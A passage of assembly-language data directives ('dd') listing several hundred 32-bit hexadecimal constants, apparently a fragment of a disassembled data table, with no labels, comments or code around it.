7C5E264Bh, 280B284Eh, 16B0F82Fh, 6766427Fh, 0EA811312h dd 8E74C611h, 1A43B2F9h dd 0DB1DCFBAh, 0EF3A769Dh, 0FB98AF59h, 43400153h, 0D50BC812h dd 805B04F9h, 0B6484F48h, 267509B8h, 712E34F7h, 98C6225h dd 489DD096h, 50FDAA48h, 0F3A3A53Fh, 76DF89FAh, 0D1360146h dd 8C3A169Ah, 0B3C70F45h, 0ACC88EACh, 32F7977h, 48EE6A9Ah dd 0F5476148h, 434561E2h, 0A669AC7h, 0EE25275Ch, 0B9AEAD32h dd 37E17D13h, 0FED574F9h, 0E8AD3C14h, 4104D7Fh, 0C938E292h dd 907CD5E5h, 0EB7846C4h, 8B0D1CD1h, 0F9B3E331h, 0A2C944EFh dd 0AE05429Ah, 5EFDDDB6h, 0CEBF642Eh, 31AAE879h, 9201E203h dd 0AB60A3BFh, 232A4936h, 8D825772h, 0A50A89C7h, 0CB785BF3h dd 69CF459h, 5FD84003h, 102E0DF0h, 0CB2C81F0h, 226BBE9Fh dd 133B4AEh, 0DAB8B17h, 27A91F15h, 0CEC47569h, 7EF2194Ch dd 0CEB85428h, 0A39C2B1Ah, 0EC97AC5h, 42B061FEh, 7F215B13h dd 5FB15FAEh, 69CDE08Eh, 66AF1D6h, 0AADF6FCCh, 0F7D76B46h dd 894CAEB5h, 6DB0A910h, 0D04C4FCCh, 0D751199Ch, 5A6160CAh dd 9128588Ah, 5FE45BDBh, 0A2F5B011h, 17B24343h, 2CB83093h dd 0E76C4A33h, 0D9460302h, 0E91D251h, 91C32D0Dh, 663CC155h dd 107B96DAh, 0AC089B72h, 6A93C651h, 0F4DE4B70h, 45C53BBAh dd 5811C921h, 67A13B7Ch, 0FCE0ACDEh, 0F762321Eh, 1550FA98h dd 504DD2CEh, 8A83D447h, 0EAA490DEh, 8AC2FAEFh, 0BE527D93h dd 8A6FE45h, 78DD4CCFh, 0D477CA1h, 4EBE1D05h, 741A0FC6h dd 8328A064h, 58168E0Ah, 0BD245521h, 0F7D2555Ah, 0DFC2F4Fh dd 32ABE007h, 61195B49h, 246F0E81h, 0E659AEAh, 0A651E657h dd 0D2418DBDh, 0B1D5B266h, 90DF71CCh, 0DDE53414h, 0EA54C6D7h dd 0E5964Dh, 290F103Bh, 0EF88D54Eh, 9715B3B9h, 4958C9ABh dd 79AA975Fh, 0A8FC3502h, 700763Bh, 4F1DA494h, 1076AE5Dh dd 0D5E30871h, 0A483A82h, 19292404h, 9D342986h, 657363Eh dd 8715B5E9h, 99C0ADD5h, 0CD711E35h, 440E0767h, 7A9074DBh dd 7E58EA76h, 4A856BB9h, 0D72ABC3h, 49DA9147h, 67F301ACh dd 8275FFBBh, 53CFCE0Bh, 0E3D025DCh, 4C5E38ADh, 0C787BAECh dd 61D86A1Dh, 0E5BCD277h, 822FFC2Ch, 758BC9CCh, 547B99C3h dd 7EA1740h, 9543643Eh, 66F096A4h, 0BD5C5A1Dh, 0EBDF2B9Dh dd 0BD6EAF4Fh, 77CAC1A8h, 51DD1496h, 0A3B67DAAh, 54A5BCE2h dd 0FB565C28h, 0FD7AD857h, 0ABBA2F5Ch, 0C781FB3Dh, 157F4411h dd 0C1A4E2BEh, 0C070983Eh, 0AA9BE7Ah, 2B742CC3h, 0D09B929Fh dd 984B6599h, 9E25C2D5h, 0F925F42Fh, 65960498h, 4AFD1935h dd 9B1514CCh, 4ADF28DDh, 0D8336077h, 0F10E3DB0h, 3DEE798h dd 4BD0907Bh, 0ED981A5Eh, 15CB4D31h, 0D14C6374h, 0CAB5D75Ch dd 0C35196ABh, 3433B8F0h, 1D72326Dh, 0B663CE21h, 0FF7D6BB5h dd 7C8541EBh, 55935D0h, 0ACA06BADh, 1422F36Fh, 0BCA83F15h dd 0DE5C254Eh, 0C090438Fh, 88CA525Fh, 9BF8F7C4h, 1B4858DBh dd 60A56600h, 0D898C625h, 0E0D2EFC8h, 0CC147C37h, 624F6AFAh dd 0EAB12039h, 234C3C84h, 6E5A9C05h, 8B127F55h, 0E84AF287h dd 424383BAh, 47389235h, 5FBECA82h, 68B035A2h, 0A7376984h dd 6A7B0BB6h, 267B3137h, 1BEA90E8h, 2108F019h, 85F12844h dd 8EB0146Eh, 5591F15Eh, 5366944Ch, 7CA584D3h, 0F51C3C2Fh dd 4581D44Bh, 5106688Fh, 6A5DEF5Ch, 0B9ADAEF9h, 0A21BF0A2h dd 0B7008182h, 11E28603h, 4874790Ch, 56F3C9Fh, 3052FD93h dd 0C27F6E9Ah, 891741F9h, 0DA08FAB8h, 21054C7Eh, 49384B63h dd 5CAF2361h, 37C7EC3h, 0A8A2E419h, 1AA71B5h, 1F7B78A8h dd 90F3D2E4h, 0B5C28115h, 2AAE35FAh, 38E95534h, 828FD909h dd 23D02248h, 51165CCFh, 0EA720738h, 5A24EA03h, 0C2C83194h dd 0D48FE609h, 498F12CAh, 31E442F3h, 3F8389BFh, 3070C19Fh dd 0C589CE8h, 6B13E4D4h, 66E56EA8h, 0DE6B3072h, 925591CDh dd 32D4C1h, 2C999AEEh, 677B4C36h, 0E1B3B439h, 0BEB095A7h dd 7EC773A3h, 883A3536h, 0D6DA0F43h, 0F99E4665h, 3B7970FEh dd 1863ADFCh, 81CF479Bh, 0CE048727h, 230C8C5h, 0A099642Ah dd 0EE27D04Dh, 0D90EBC7Eh, 0AEFBDDECh, 91380DFEh, 21057572h dd 36AED410h, 0BB9777B5h, 0A6AA6820h, 405818Fh, 863CB39h dd 3CAEC64Ah, 0AC2B31D4h, 0CB272B9h, 9B54057Ah, 97ED810Ah dd 0A4913418h, 4B365B52h, 891C8ECAh, 76087B66h, 0F9CB2h dd 57A989B7h, 0D690ADC9h, 7B06301h, 4ACC320h, 759CCC09h dd 47D38DC7h, 3376D6C8h, 9199920h, 0B835D1CCh, 0E1C591B6h dd 1DAE2933h, 0FE527A8Dh, 2EC3EE38h, 79121405h, 673DF9E6h dd 790354C5h, 6BA69B19h, 0A29D46D5h, 0BD3C9A71h, 7F92F202h dd 0DFC21F6Dh, 7ECCF8D7h, 8B1ADF4Eh, 7C37D105h, 0A0C0A167h dd 9AA743E8h, 168F46E3h, 9CFE4BADh, 4DF11DA8h, 1DEF5EFBh dd 99D74F51h, 0FEF05643h, 34713B46h, 1168E4A8h, 9CFB8488h dd 0A724A1B4h, 50E69516h, 0B860CB33h, 0E35356FFh, 41BFB2D7h dd 907CD5BCh, 159B32FFh, 996B65F3h, 0F2731E5Fh, 59F5D82Eh dd 0EC06E8F4h, 4A8B7924h, 0DB9EC2A5h, 180BABDAh, 7F912F8h dd 1E9EA1D2h, 89FD802h, 0C9D21153h, 170E456Dh, 9F4F243Dh dd 9F0EDEF3h, 809C7236h, 0D5351EE8h, 0E0D9E15Fh, 3D8767A6h dd 0EB4DA9F8h, 0DFBE2AACh, 570929A4h, 9966FAE1h, 0AF44F82Eh dd 1CD9DEE4h, 2F1481FBh, 3F0F5BA5h, 64B42AE4h, 0B54228DFh dd 8E795757h, 0CE23E180h, 22B11A0Eh, 58A7FF99h, 0C2C58A9Ch dd 0D29072B1h, 44573B61h, 3E0511C1h, 0AC56510Dh, 0E9FAB9E7h dd 96F02F95h, 6638012Fh, 86FE0077h, 0D16108A7h, 4A420495h dd 7303CFF3h, 0EF1B5480h, 3B2D36CCh, 5EF036FCh, 12663BA6h dd 2E7219A2h, 4C58F44Ch, 14D0C7h, 87E9C425h, 27B36E30h dd 0E48C891Dh, 0E0313B2Eh, 4B992567h, 839577B9h, 81C2600Bh dd 7899B06Ah, 0FC925D8Bh, 7CCC0B1Bh, 6BEEBDEBh, 0CD500675h dd 0EDF0378h, 0FF9AE67Fh, 3C698250h, 4F752D4Dh, 24C84A20h dd 3B078AC5h, 0FEFC804Bh, 16E7288Bh, 0A265092Eh, 78891B82h dd 1A5AC994h, 3EAD1DD4h, 121FF71Dh, 0C29E8617h, 0AED57F3Ah dd 9D09F70h, 8CB43758h, 9B0EFA2Fh, 53B1A892h, 2BD961DDh dd 0DF37926Dh, 68A249C0h, 94BB70Bh, 576A7C96h, 65E710C1h dd 9B6E9855h, 28800DCBh, 0C5F79CC0h, 2413CA1Eh, 23382802h dd 0CABE6203h, 0A98209FBh, 2E53C515h, 5DB06393h, 0B51BC40Eh dd 0E24D3AA2h, 149142EEh, 3EBB8776h, 68F9A647h, 0D9E2F922h dd 82CA8640h, 0F67C4958h, 0F194CF35h, 9D1730D5h, 6C074E30h dd 86875FFEh, 58132893h, 38389E86h, 1154E261h, 0BD6C7710h dd 0DBD70E31h, 2EB97D0Eh, 0F3605A96h, 0D22C868Ah, 0C21709CCh dd 6712D7E4h, 9D7CC2F7h, 0C68CF72Fh, 0A5C2751Ah, 8F59EB34h dd 85E76E3Dh, 8D9AAE8Ah, 0A50FAE24h, 0E4C392B6h, 6C340449h dd 74916B97h, 0E5FECD48h, 19D92B49h, 0A0BEECB0h, 9CE6EA0Ah dd 0C294D91Ah, 0AC4A90BDh, 2BFCE9FBh, 0C5DC17E2h, 7CDC4502h dd 0FAA797ABh, 59A02F79h, 0CC4A2E5Ch, 6C0D91C8h, 0C56246E3h dd 593CF37Ah, 0E72DA205h, 8630BCF8h, 0EC5092C3h, 0B95EA997h dd 0FDCF3F4Bh, 46F03769h, 2C64ABAEh, 5AC58FFAh, 0D21481EBh dd 6D490EF9h, 4DB55190h, 2F0BD024h, 2DBE0D80h, 0B8D79360h dd 51B49C61h, 43562AE8h, 0AA64051Bh, 764F87BFh, 4B2B0D92h dd 394CB66Bh, 17B8CBF7h, 0F06046ABh, 0FF2CF5B7h, 0B924A0C9h dd 6F72BBF4h, 81B702A8h dd 5FD4D0C8h, 0AEC0C999h, 91557901h, 342C2DDDh, 0CB250790h dd 5DA64798h, 52B9DCDAh, 15F3BFB0h, 59A4454Ch, 0A0BE57B1h dd 841D9C0Eh, 26EEF5Eh, 51A1A1B2h, 44F00993h, 577F940Eh dd 0CD6AD3F6h, 1E7BF2FFh, 6E9EFCCDh, 0FDCFD680h, 0B861D708h dd 0DE3D3C25h, 0D8CE8D4Ah, 2C4F5A6Eh, 0F914DA91h, 1B55771Dh dd 0A38F0DFh, 30E612EFh, 0F2279AD5h, 17D49D51h, 0B2B5C057h dd 99D05A1Fh, 76DA5996h, 9C3A6FACh, 0A17BBFD7h, 8981CA64h dd 8BDA865Ah, 0C584E737h, 44F6DA22h, 71EA6360h, 8D4C6DA5h dd 0D6D1C2Ch, 564FC2F9h, 28A84FCEh, 2FD15A51h, 1E72BBA7h dd 95A6EAD0h, 9FE2CA6Bh, 3616B2Dh, 44314760h, 78CC2FADh dd 0F579E03Dh, 0E20551DAh, 0B909EB09h, 0F221114Eh, 0A9EBB664h dd 82C394EFh, 2E14616Ah, 9E746865h, 0E67B98F7h, 740F111Dh dd 0FF7C0216h, 2458A953h, 4BA9AD61h, 8D531859h, 65926658h dd 0D4A2EB58h, 59487EC1h, 0D7E5C5CFh, 0BDAB3C28h, 90BDF5F1h dd 493D4642h, 0CE7F21ECh, 3CE800B9h, 0EF94BBB3h, 4FAA3C9Ah dd 0A8FE3BD1h, 73BFD50Bh, 66926896h, 56AAE5AAh, 42D9510Eh dd 10D9757Ah, 0EA1AE83h, 99B10E58h, 65D9F443h, 0C4AB71B0h dd 4A77B599h, 5DC30B56h, 7872B8A6h, 7F3B1AC2h, 82815241h dd 0B5AA974Ch, 53C4D889h, 97DB3A27h, 0CBBD876Ch, 83FEE3F6h dd 0D8CC4189h, 66937CA2h, 0F9ACF762h, 7E8A208Ah, 0FB71CDF5h dd 0A3643538h, 0D4C962ACh, 0A163F0F6h, 86903849h, 95D5A3Ch dd 0A63ED7D0h, 0D68ABF3Ah, 0D29A8861h, 646928C1h, 0ACECF116h dd 0C6C9449Ch, 0FF493E35h, 0EBF8D4A9h, 2E0E75EEh, 32946353h dd 0FB4161Ch, 3FE5AD6h, 0D3A7CFE7h, 9D172A84h, 15217BF2h dd 7A65F0B0h, 0AD20565Eh, 9D457AF1h, 77DE8F64h, 0E47FAF2Eh dd 0DEDA532Fh, 5B467CDEh, 46657587h, 5B67CCFEh, 0C32C53CBh dd 8F9DA33Dh, 9B5D7717h, 0C1BC74A1h, 6A056553h, 3047EE9Fh dd 0C638D895h, 560C126Fh, 327A70B6h, 7AED7242h, 0C6B1451h dd 313F848Eh, 4E9E89FFh, 0A33AFEA6h, 0F9B50B37h, 5562BDEEh dd 3CC4449Fh, 0CCB79907h, 0D5F80A2Fh, 152FD6E6h, 65B4CDE5h dd 38C6935Ah, 8937F3FBh, 97038FBBh, 6F3B736Fh, 0D864B5B5h dd 0C3176D6Ah, 0B39B5F04h, 7F9231DAh, 578D770Bh, 920C2066h dd 1338407Eh, 26DF424h, 6AF5D95Bh, 5764B3E5h, 6E90709Dh dd 7634FC1Ah, 9B5BE206h, 4D11A80Dh, 0C349F091h, 19C3EDD9h dd 0BE6FB1C7h, 0FD8DB807h, 3212C5C1h, 8C5506A3h, 0CC706F2Ah dd 0E0B99089h, 4DE535Eh, 0B55FCAF2h, 18FE95BBh, 0A04E1943h dd 0DBA98F18h, 29068DBBh, 0CB5B1803h, 0A3F9D898h, 5D46611h dd 0F86B2004h, 0B674BF30h, 0C4F9A8F6h, 63D650BEh, 706BB7B9h dd 6242205Eh, 33EBA993h, 0BDA4762Fh, 0BF213F31h, 4045D44Dh dd 0E2EADF63h, 7A90BB87h, 4ED734AFh, 7B3D73EDh, 0B111F9BBh dd 0A4E774A5h, 1F21EF2Ah, 49B28318h, 83D14845h, 4969ED19h dd 0D6D58B07h, 0D4A6138Dh, 9AB12336h, 70638819h, 8D2D72BAh dd 0F978C090h, 1F557D9Ah, 40A2CC48h, 303BEA78h, 972379D8h dd 0E4227D88h, 0BC7537CAh, 2588DBF7h, 45A585FDh, 7AA97662h dd 2C23A06Ch, 65EA4295h, 0C9013ECCh, 782FE627h, 2B76C5D0h dd 860CD99Eh, 0A40B1B5h, 5F73F7F4h, 1F1240FAh, 85AC9E03h dd 8641DEA1h, 295B8997h, 18BA4285h, 0CD03687Fh, 41ED1A09h dd 490CFF65h, 0DDE72C77h, 0FED3CB56h, 0DEF4F955h, 0A2332496h dd 8DC60903h, 747F8537h, 12DC567Fh, 5B91ECFAh, 0F7F04CA9h dd 0AC07A43Dh, 7051D8E1h, 0A5EEC767h, 693C93D3h, 0D1CD5052h dd 27A09C81h, 0C37026F2h, 0CCB5AEAFh, 1FFC1CE5h, 82A5E9E4h dd 5893753h, 0D2CC47DDh, 6C438A1Dh, 301D901Ch, 0FA28B16Dh dd 9E4DA2D5h, 1919FA76h, 68D72460h, 0C8AEB581h, 490B628Eh dd 938F6C67h, 421109A1h, 0AA1F821Ah, 0D388300h, 2B1E5BCDh dd 0BFD057BFh, 9EDDA569h, 6FB6DAA6h, 0CF4C3A58h, 11696470h dd 60242A41h, 47555026h, 1E1ED6B8h, 23544298h, 30BEFA72h dd 0A3C4159Eh, 0BC8C3F4Ch, 3B5FD367h, 70E6B74Fh, 317DE8A1h dd 8D961BCDh, 0CC5D7F1Dh, 8964D73Ah, 9756C7CDh, 0D686374Bh dd 4048A543h, 0A39A1FDEh, 0A605D2CBh, 0E439863Fh, 2B79C833h dd 83004FF1h, 61EB8431h, 0FAAEB060h, 0B0CDE85Bh, 8C860FDFh dd 0B8ADE21Ah, 73F212C5h, 467AC36Bh, 289BF417h, 5043C9CAh dd 3AD25BAEh, 72E3D843h, 0B23B735Eh, 499B0AF9h, 0DEC0143Eh dd 3557E571h, 5834C306h, 4ED664C7h, 0DB9C4B9h, 87894AC8h dd 40332196h, 75415DD3h, 0C25BEC5Dh, 4684E92Eh, 0E6CF7535h dd 0F658A546h, 0F2C6AA7Eh, 18FE64EEh, 2574689Fh, 69DD1004h dd 0C2E62619h, 4CBB9C9h, 0D14F8698h, 0C9076D59h, 77921881h dd 0B197373Fh, 3C89E3FFh, 7B68255Eh, 0D9A0A8Dh, 85C6C61Dh dd 2A501859h, 0FCDEA3A6h, 948DE4D9h, 0DB9B976h, 7288604Fh dd 3BC33AB4h, 2EACC7A4h, 0B55B7818h, 611A1B00h, 883FD973h dd 9ADFEB0Bh, 0F788684h, 5BE45746h, 2844A103h, 422665BAh dd 0AFB50073h, 0CFBA25AFh, 0DF8327E6h, 0BFBB752h, 18FB8FEBh dd 8D41FDE8h, 0CD52829Dh, 8921682Dh, 0D98758CFh, 0F779595Ch dd 32D20613h, 0AD90953Ch, 3CB4F6ACh, 47DE1570h, 662C2C20h dd 0E8ED9893h, 71FEB30Fh, 0B1A355FFh, 0CEBB7183h, 0FC3BCB6Fh dd 1DDCAA7Ch, 0C092746Fh, 6E5B5085h, 68F98292h, 470FAE65h dd 0AD274AA0h, 92576789h, 0A7AEE6AAh, 4ABCE203h, 34CD4B49h dd 7016824Ah, 6AA19703h, 5389EB6Fh, 19FA1BAh, 0D92EA212h dd 4CE02BC2h, 0D5F9DAECh, 0F7C6F1BAh, 82134F62h, 5DE3CFCAh dd 194BBE50h, 63EA827Dh, 8289267Bh, 0F6F71389h, 6B0741DDh dd 0E73F1EAEh, 0F646AF8Ah, 9E0604B0h, 0DCCF2C95h, 86910D61h dd 0EE7F57D9h, 0B307891Dh, 0BB3EC866h, 65FD4E37h, 5D395BBh dd 733D1310h, 0EA79F80Fh, 1932DA3Fh, 70411AF3h, 0F020F2B2h dd 677FB50Bh, 0E449D51Ch, 0D7570D33h, 0D019D036h, 873805CFh dd 5C67CE30h, 0C411E3B0h, 0B4529B95h, 0FE56E782h, 0D02610Bh dd 8AD1C21Ch, 7569ABF9h, 0E02DC545h, 52D4678Ah, 0C185EFDCh dd 42C7A5Dh, 0B624E605h, 7ACD8D06h, 0A5505CF8h, 0F3AB7CD5h dd 0C22335FFh, 0D151243Eh, 7035947Fh, 2BCC82CDh, 0FA35AD94h dd 0A5CAAA26h, 0C43EEDCFh, 6354DC69h, 7EE0B695h, 97E9A229h dd 3CF19D8Fh, 38F895DDh, 11B81AFAh, 1AC0DCEAh, 0A7F68B9Ah dd 123E29B4h, 0C8E8D2CBh, 4EB7C442h, 0FF470E42h, 92F2DDC3h dd 0E598617h, 161851C8h, 0DEACEE78h, 0CC1AF93Bh, 3DBDA282h dd 0C6069467h, 4B884678h, 3F533D88h, 0D851A3A3h, 0F0283E36h dd 6836892Ch, 2E9FF0E0h, 0D54E3E9Eh, 6D6305BBh, 0A2A4C81Dh dd 0D2AF5654h, 237CE798h, 6C61E81Ah, 91D53E9Fh, 39BD6651h dd 3C647DD1h, 53E8DA46h, 1837CC77h, 96A24694h, 9BFD3A2Ah dd 5D202B60h, 0BBD3EB1Ah, 8299309Ch, 91311DE7h, 0E43A8E72h dd 35FD60C0h, 0EFA09CB1h, 750F421Dh, 5CFA1EBh, 6EB7D443h dd 2A695539h, 0EB68F5A2h, 0C22D6315h, 0B5B3B31Fh, 0DC47E44Eh dd 0B1C93EC3h, 0B285D67Dh, 0CFC185ECh, 0F964838h, 2B87B3C9h dd 930628C0h, 0DCE651CFh, 0F02014FBh, 0AC73AEDAh, 7F35D72Ch dd 93884B5Eh, 9CEC83FFh, 4D22E5A9h, 0F9C6CF57h, 2AC575D2h dd 0E42313D7h, 8FE2ADCCh, 229345FAh, 833B657Eh, 5E12AC52h dd 0D707C402h, 5EFD2364h dd 97F47604h, 0F187C5B9h, 2E06D68Ch, 1761BA00h, 21876750h dd 6F5FBC4Fh, 5A5FA492h, 43C7BC6h, 428BDCE1h, 0E5B22BCBh dd 84B3473Ah, 609E3FCCh, 0CEEB7322h, 111171Bh, 8FB83CDEh dd 56D0632Eh, 0F93D918Eh, 22B9EF28h, 6D681C5Eh, 38E12F8Eh dd 0A1D1E201h, 24EF3320h, 0DADF9A75h, 6A4A368Fh, 340524E7h dd 0A9AC5B70h, 2B14DD6Fh, 6076280Fh, 0F2E1D7BDh, 38BADF47h dd 0B4F93698h, 697E6B2Ah, 0B7BEDD19h, 0FD50BD25h, 4B989775h dd 103CF15Bh, 36FFBE53h, 0F315B56Fh, 7A869514h, 0DECB1BF6h dd 1314C9DEh, 0E99EF289h, 2B0C4160h, 1E3B03BCh, 3E7C9738h dd 0A5CAFE0h, 0C6818CECh, 171D937Fh, 622A6C8h, 0F1FE9D81h dd 5C8A8C9Dh, 0BFE13549h, 0C6084344h, 6FAB07B9h, 6ECAC489h dd 8D766D0Bh, 8AF95374h, 7E7AAF5Dh, 3D8D5B70h, 59AC4CFFh dd 0B42BE698h, 0AEA39B4Eh, 2CC6F9AEh, 0F21CFB5Eh, 6CC62047h dd 0B2279F50h, 46D4DF3Ch, 178C32DAh, 4FCE3B83h, 0B91CC5FEh dd 42ADE8B1h, 220C8020h, 0C3ABE1D1h, 0B654A34Eh, 1106EDECh dd 2F637ECFh, 223BF50Dh, 0BD46D2A1h, 0CD5DDF32h, 0EB71C9Fh dd 0CFF5B63Fh, 1FA8CBC3h, 24846048h, 0F7EB0204h, 10CD3AF8h dd 3DE54789h, 63FFB0A9h, 94C6CA88h, 0FC50E47Ch, 0B659B0A3h dd 8732A87Ah, 626A6CEFh, 667473DBh, 0F8E4A41Fh, 0C0A19EBDh dd 359D8173h, 67A1C7E3h, 0CCBDDFAEh, 9EA16A4Dh, 0EEBCB53h dd 0B482F7FCh, 0AACDBDE1h, 2AD8A7EFh, 5C196433h, 40E1420Bh dd 0DE6D7135h, 0F40E322Ah, 3BD201F9h, 319E4D2Fh, 84D40A39h dd 0E1C62AC5h, 7EB80CD9h, 0BD76E384h, 0B141E544h, 0C8AC53BFh dd 78F5BCD2h, 0C07DD085h, 376B5D3Bh, 85507946h, 8DBBCC1Dh dd 7D8132D3h, 0C87E67A4h, 2D9E2FE2h, 0D511B7E0h, 0CAC2023Fh dd 0B1BE6C87h, 43D09FBEh, 24FBFDF7h, 8F3AAD9Bh, 219CD2DEh dd 2D36A2DBh, 0EFF517EBh, 1D9547CBh, 452EB38Ah, 0AD9A5CE6h dd 2F3B8DCBh, 0C566AD7Eh, 37C77A26h, 82B9BC14h, 217809EEh dd 315C438Ch, 3F3E56FDh, 0A2F2F285h, 0B4677D44h, 1949711Fh dd 0BE7D07F6h, 64708CAh, 22180E30h, 6066DC71h, 2845748Bh dd 0BBB34F3Eh, 66CF2820h, 0E7B91AA5h, 10A02506h, 1B24A8FAh dd 6F8A6E45h, 84CDEDD0h, 2369ACB2h, 0B60DE594h, 0B13DC744h dd 0CBA17D5h, 3B14D935h, 19F01A9h, 5B27D69h, 0BEED1AA9h dd 5FCAD3DCh, 0D4E89AD2h, 0F7F3B893h, 4474BDBh, 1553079Ch dd 0B30876C2h, 0EECF8782h, 99697055h, 0BC912095h, 432F23B0h dd 0A48BEF97h, 190CCEA4h, 6402EAECh, 38D5EB57h, 0E39DA2BAh dd 0E50100B9h, 95D0ABCh, 65CFBDBFh, 7051F0E5h, 3527225Ch dd 0C9730BEBh, 0D2EF6320h, 7181C29Bh, 4AFC916Fh, 0B622EF20h dd 71909291h, 0C62CE33Eh, 949433D3h, 55465327h, 0B11C7AC0h dd 1B5101A9h, 336B00B3h, 9872EA8Ch, 584D24D1h, 0C53A31F8h dd 6E8F4FC8h, 37428F6Ch, 0BE62810Fh, 4925BA4Bh, 680DC8FCh dd 16A07183h, 4644088Bh, 0A2A5D8C9h, 231737B2h, 0CD7C2756h dd 15D12883h, 9ADD426Eh, 8D8807E3h, 0A603AB6Eh, 1428DA5Dh dd 20069D5Dh, 0C8DB8482h, 0CAB78967h, 0B44F187Ah, 8AFEA0B7h dd 6A44C9DAh, 58195DFAh, 0DEAB1B41h, 2687CC72h, 1CD71D16h dd 0E289E63Bh, 321C3347h, 623DDA88h, 0C431E639h, 5234E9D4h dd 8499C121h, 2D1C82AFh, 84516901h, 7B3048D7h, 9FC29CBFh dd 71DE4729h, 0E45C944Fh, 1124C9A5h, 4BB17457h, 0BC0707Dh dd 1576BA0Bh, 0E3AC710Dh, 4BBA9B67h, 68F6B0E6h, 0F6267518h dd 6411267Ah, 43511803h, 0A76CDDFh, 0F76EC05Dh, 0AABD969Ah dd 84DABFDFh, 0ADCEC0DCh, 5D14C212h, 450353A1h, 0B6D6ADFh dd 0E3B09115h, 0DC77418h, 0DD584EDFh, 6407AB0Dh, 21F88666h dd 4A797154h, 0C0C7B291h, 41780F9Dh, 321B941Fh, 1B9406Ah dd 0FADD66FCh, 798E8094h, 7C074A9Bh, 9AA37A94h, 790FE269h dd 0DE069A1Ch, 0D229261Bh, 43CDE5A9h, 3844C219h, 0CFCF200Bh dd 96FB387Eh, 2AABF57Dh, 203304E5h, 0C7A50555h, 848299Fh dd 0A6D02F7Fh, 29B54828h, 0AAA54195h, 60574ADBh, 0FB44D997h dd 0A26C07D5h, 0A25D5EC7h, 14E73C9Dh, 745C48A6h, 0A1BBDB7Eh dd 0AB9F19EEh, 457EDB9Ah, 2DEB62F9h, 4A0C096Fh, 23707557h dd 38AA73E5h, 0E348B903h, 72BB4EF2h, 0CCE7AF0Ch, 8FC1B339h dd 574508B2h, 0A25A9392h, 2CAA05D5h, 45CD92Dh, 528BA4E8h dd 705F1F15h, 0FC7094B8h, 0B188B35Bh, 6CB751F4h, 7D6A5616h dd 3209248Ch, 0C5327926h, 9EC2664h, 0EFD44085h, 0F5C55B5Ch dd 0E7765FA6h, 9AB4F947h, 0C188D6FDh, 200359A1h, 0AAB2528Ah dd 0ACC23A7Ah, 300A465Fh, 0EA61FDF8h, 812C4F75h, 8373B762h dd 0AF0DF8A2h, 0BEC58426h, 28129843h, 42EEB317h, 7FA18658h dd 9DDCE711h, 0DA719B03h, 0EA7CBC8Eh, 8A954E25h, 813CEF8h dd 6CD96715h, 981782DDh, 0C0C34ADDh, 5FCB86BFh, 0D5AF7530h dd 0F2FF7580h, 5BED5932h, 0C4ECCE57h, 59CADE58h, 0CC5CB409h dd 6E614FE0h, 5CEF1A4Ch, 4762123Ch, 100F527h, 0F668474h dd 617558BEh, 0F3683728h, 3F254799h, 5E2B5C82h, 3F028FECh dd 14B1FBE8h, 41184523h, 0F67A21F6h, 0EAD88B22h, 0F947D7E2h dd 6E0C90BCh, 9C248543h, 0CABD2F00h, 0D280C830h, 846555C3h dd 0F62A5B31h, 0E233D8C4h, 5C2D8FDEh, 0E4B7B349h, 0E3416FE8h dd 0EFF042A5h, 0CE741FA6h, 8C92D05Bh, 9C245BCCh, 0F92A84Fh dd 3DF2F1E6h, 0E20E898Ch, 7C73800Bh, 0E8F94668h, 51F80EAEh dd 7FB8FEEEh, 59009D1Bh, 7A8D0320h, 5D962B0Fh, 0B418A1FAh dd 78D818Bh, 0C93531B6h, 3E59793Ah, 74EB7542h, 2A514654h dd 7A7F1F6h, 0F3545196h, 0D1ED7266h, 0A27A340Dh, 0B5FB6FE5h dd 96CA7C35h, 7C409ACDh, 581BB47Fh, 7B4C59E1h, 1F135CB1h dd 8DADDD00h, 0FE4830AEh, 0A9B30A19h, 9C00407Ah, 0BCF741C9h dd 1AECB4ACh, 7CF17559h, 1CE5B59Ch, 0ED816731h, 4A5C6FF9h dd 161278B6h, 46BACFFCh, 40202FB9h, 0EFE706ABh, 0B676ADB4h dd 45CD6F3Eh, 9F176F83h, 0F6697AA7h, 1D712A35h, 233AE817h dd 9143F7F0h, 2CD4669Dh, 226C19E1h, 0DBC3FA77h, 58DD5CA4h dd 79B77FF5h, 0F1475818h, 6245704Ch, 0BDB03B86h, 7269577Bh dd 0B38394EFh, 80B04908h, 0A3C3AC04h, 0EA1CD4FDh, 2A349183h dd 5575B1C0h, 0D715C195h, 0B7C9464Ah, 700A5981h, 31CBDE73h dd 6668C374h, 4769EC1h, 0D0D17E43h, 0E3DADC45h, 0BAB4A4DCh dd 3580EDA7h, 0E681A176h, 784F4300h, 0C6D74BD9h, 0DAAA65D6h dd 32AA04D8h, 635F2084h, 48FE13B3h, 9399652Dh, 259D8CC0h dd 0C892C053h, 0C100737Ch, 43BF1A8Fh, 0D97C2F7Bh, 78A5E9A5h dd 15EBC64Fh, 0CE6EFF80h, 6F8FEE89h, 5AC198DDh, 4ECB9210h dd 64B0E551h, 889C2496h, 7371062Ch, 0AF6BCCF6h, 2CB8C189h dd 0D33566C3h, 812A7CABh, 6C499EE3h, 0BFF6FAF5h, 0D0E1BDB5h dd 2BBE11D4h, 0C498EC68h, 10468C80h, 8E41A6F9h, 0DC477422h dd 0A75BA0E5h, 5EFF84E8h, 581255BCh, 1A3761A6h, 0E2BD6A36h dd 1DAACF4Ah, 2091F93Dh, 3C4A87BDh, 50B8E233h, 0A141D23h dd 32D6354Fh, 4F156EADh, 7EE59AEh, 0F9F6240Ah, 0AF06F741h dd 0B9917E98h, 0F430864Fh, 8E50C811h, 9B502384h, 6D9AA868h dd 96EE0A37h, 8B52F264h, 0FFAA0Dh, 0A76736F0h, 0E951D78Ch dd 853C0077h, 7198C404h, 91B8C988h, 0BD0B9160h, 0CE4DD6F7h dd 1E7EB624h, 5A1AA658h dd 23C1532Ah, 0B516B8Ah, 0E32DC818h, 56635EF2h, 68BFA3C7h dd 16B33E8Eh, 0BFBFA2F2h, 84F266BFh, 6F225721h, 7ECE203Dh dd 8FCB0174h, 6CA28762h, 1A0E9293h, 0A18280D8h, 585E3685h dd 0D87DEC21h, 0AA507920h, 5A022E75h, 404BD8D1h, 66692B2Fh dd 958382BBh, 5930C9Fh, 22112D1Ah, 0D9AF9EC9h, 9D1C07EAh dd 2CD2268Bh, 0E5318900h, 8AF8B3AAh, 0D6120ACDh, 999E28C9h dd 0A3ACEBAAh, 0DA3565A2h, 0FF9C601Ch, 0B406ADE7h, 0FB87D9D3h dd 2FB5B151h, 0B7080755h, 5DA0C3Eh, 2718C3C6h, 25C7AF9Eh dd 61096B83h, 96CBD90Fh, 0F4C7EBBBh, 0F9B3607Ah, 